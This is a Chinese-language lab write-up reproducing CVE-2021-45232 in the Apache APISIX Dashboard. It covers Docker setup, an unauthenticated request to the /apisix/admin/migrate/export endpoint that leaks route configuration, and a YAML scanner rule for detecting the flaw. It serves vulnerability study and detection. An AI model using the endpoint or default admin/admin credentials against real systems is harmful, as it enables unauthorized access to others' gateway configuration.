CVE-2021-45232:Apache APISIX D-漏洞文库小世界-安全文库-NGC660安全实验室

CVE-2021-45232:Apache APISIX D

###CVE-2021-45232:Apache APISIX Dashboard 漏洞复现

 

一、漏洞分析

1.1 漏洞描述

APISIX 是一个高性能、可扩展的微服务 API 网关,基于 nginx(openresty)和 Lua 实现功能,借鉴了 Kong 的思路,将 Kong 底层的关系型数据库(Postgres)替换成了NoSQL 型的 etcd。Apache APISIX Dashboard 设计的目的是让用户通过前端界面尽可能轻松地操作 Apache APISIX。
Apache APISIX Dashboard 有些接口直接使用了 gin 框架导致未授权访问进而可导致远程代码执行,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行远程代码执行攻击,获取服务器控制权限。

1.2环境搭建

拉取官方docker文件
git clone https://github.com/apache/apisix-docker.git

1652950378017-de15933a-e864-4262-9e37-a1d0ff447083

切换到example目录
cd apisix-docker/example

1652950385428-17cdd8a9-df01-4359-9e40-a4930f543c86

修改apisix-dashboard版本
修改为image: apache/apisix-dashboard:2.9.0
vim docker-compose.yml

1652950394631-5e025009-840c-42fc-8fee-530c0c6542ae

启动环境
docker-compose -p docker-apisix up -d

1652950402740-e4c340f0-e88a-41c7-86df-69a743fb6733

接下来进行一些简单配置,模拟实战环境
默认登陆地址:ip:9000
默认用户名密码:admin/admin

1652950410804-5f6f5046-3f83-41e5-ac57-9d1dca82fda2

切换路由选项,选择创建

1652950418089-471df67d-d035-45ff-84b4-2d7a63c6c81d

名字可以随便起,一会能用到

1652950428760-fa95591f-3b6e-4504-a6ee-132e350fdf1b

目标节点自己随便写,直接下一步

1652950529950-51c7a86e-e9a3-4dc1-9991-2161b46a904c

以下步骤均选择下一步,直接提交即可

1652950537804-3ac019fe-4a52-4d8d-a08d-5b1927c7cfd8

路由界面即可看到我们的配置

1652950544523-055a4fd5-93a1-4840-8321-94e29c986813

1.3 漏洞复现

直接访问
http://127.0.0.1:9000/apisix/admin/migrate/export

1652950563109-895a9b76-c0b5-4580-8c27-35b3ce2a2780

看一下,正是我们刚刚配置的路由,已经泄漏出来

1652950572369-47bd904e-6784-4fa4-ba4e-85ec1c09b72e

POC编写
params: []
name: CVE-2021-45232:Apache APISIX Dashboard
set: {}
rules:

  • method: GET
    path: /apisix/admin/migrate/export
    headers: {}
    body: “”
    search: “”
    followredirects: false
    expression: response.status == 200&&response.body.bcontains(b”Consumers”) groups: {}
    detail:
    author: “”
    links: []
    description: “”
    version: “”

二、影响范围

2.7 ≤ Apache APISIX Dashboard < 2.10.1

三、解决方案

升级至Apache Apisix Dashboard至最新版本

四、参考链接

https://github.com/wuppp/apisix_dashboard_rcehttps://github.com/apache/apisix/blob/master/docs/zh/latest/architecture-design/script.md https://blog.csdn.net/weixin_44411509/article/details/122292459 https://mp.weixin.qq.com/s/9HjypVz5elzyyjLfxFsz9Q

五、遇到的问题

在修改image: apache/apisix-dashboard:2.9.0时,只修改版本信息

1652950585282-e373e7f3-6fa4-43ff-851e-5ccfc59aa8b8

其他不变的情况下,会报拒绝连接,

1652950594355-f8023215-dd08-4027-aab8-88337ff71392

查询资料说要赋予权限,于是sudo docker-compose -p docker-apisix up -d

1652950601555-c393e33d-b882-45a9-8116-54fe47128ba4

仍然报错,再次查询报错原因,发现应该是缺少apache/apisix-dashboard:2.9.0-alpine,于是想着把alpine去掉再试一下,结果就成功了。

1652950611797-c66605f6-d2e6-4399-9a57-46859dc2ea8f

1652950618035-5831a498-6f48-4a8d-a6e8-892a7f6f65ba

请登录后发表评论

    请登录后查看回复内容